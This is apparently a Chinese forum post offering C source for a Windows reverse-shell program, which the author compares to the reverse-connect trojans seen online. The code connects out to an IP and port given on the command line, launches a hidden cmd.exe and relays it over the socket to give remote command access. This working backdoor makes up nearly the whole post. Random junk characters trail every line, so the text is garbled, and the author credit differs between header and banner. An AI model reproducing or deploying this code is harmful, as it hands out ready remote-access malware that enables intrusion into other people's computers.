这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p_qJI@u8
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/* ============================== /XXy!=1J
Rebound port in Windows NT AZfW
By wind,2006/7 /yFs$t>9
===============================*/ s]2_d|Y
#include h5}:>yc
#include jn+BH3e
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#pragma comment(lib,"wsock32.lib") b>f{o_
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void OutputShell(); Kd;)E 9Ti
SOCKET sClient; |6!L\/}M%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /s "Lsbe
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void main(int argc,char **argv) 3pjK`"Nmz\
{ .a7!*I#g
WSADATA stWsaData; !+T29QYK8
int nRet; d'2q~
SOCKADDR_IN stSaiClient,stSaiServer; YOQ>A*@4
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if(argc != 3) A_2oQ*
{ pN#RTb8o
printf("Useage:\n\rRebound DestIP DestPort\n"); r"&VG2c0K
return; 1XJLGMW,
} d#-'DO{k
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WSAStartup(MAKEWORD(2,2),&stWsaData); y-lBaTE9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 69$gPY'3
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stSaiClient.sin_family = AF_INET; 'oS= d
stSaiClient.sin_port = htons(0); !30BR|K*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tPaNhm[-q7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T1i}D"H %
{ .^V9XN{'a
printf("Bind Socket Failed!\n"); zy'cf5k2
return; IM=3n%6
} !dGSZ|YZ
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stSaiServer.sin_family = AF_INET; >o )v
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XU|>SOR@z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L&hv:+3N
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &*#Obv
{ bE6bx6=u
printf("Connect Error!"); U o[\1)
return; v /x~L$[
} >!WH%J
OutputShell(); /q5!p0fH*
} )Y:C'*.r
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void OutputShell() h?P-
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{ 8:fq!m
char szBuff[1024]; @G^m+-
SECURITY_ATTRIBUTES stSecurityAttributes; |vtj0,[
OSVERSIONINFO stOsversionInfo; JS^!XB'!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %/w%A:y#&
STARTUPINFO stStartupInfo; *;[g Ga~
char *szShell; cf,^7,-`"
PROCESS_INFORMATION stProcessInformation; c]68$;Z7
unsigned long lBytesRead; \S0QZQbz/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zI"1.^Trn
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _~bG[lX !
stSecurityAttributes.lpSecurityDescriptor = 0; d~#:t~
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stSecurityAttributes.bInheritHandle = TRUE; :gTtWJ04]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); th%T(D5n
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a/xnf<(H
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zg$NrI&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o^W.53yX
stStartupInfo.wShowWindow = SW_HIDE; 5xhYOwQBo
stStartupInfo.hStdInput = hReadPipe; ;s?,QvE{r#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y2$xlqQd"
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GetVersionEx(&stOsversionInfo); <=]:ED $V@
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switch(stOsversionInfo.dwPlatformId) Y'yGhpT~
{ g}$B4_sY
case 1: 7M<co,"
szShell = "command.com"; x:+]^?}r
break; _ ( $U\FW
default: #6@4c5{2=4
szShell = "cmd.exe"; lBLL45%BIN
break; #N'bhs
} yH0vESgv
aSIoq}c(
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jD?*sd
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send(sClient,szMsg,77,0); b1EY6'R2
while(1) q<Y#-Io%3
{ \: R Akf<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _8e0vi!~2
if(lBytesRead) nw0Tg= P
{ oj[<{/,C9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lsU`~3nr
send(sClient,szBuff,lBytesRead,0); ?@QcKQ@
} uOPLJ?%
else ZQAiuea
{ 3cc;BWvM
lBytesRead=recv(sClient,szBuff,1024,0); 5%w08
if(lBytesRead<=0) break; x{S2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >aT~G!y
} u5tUm
} ~7:Q+ 0,,
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return; x5b .^75p$
}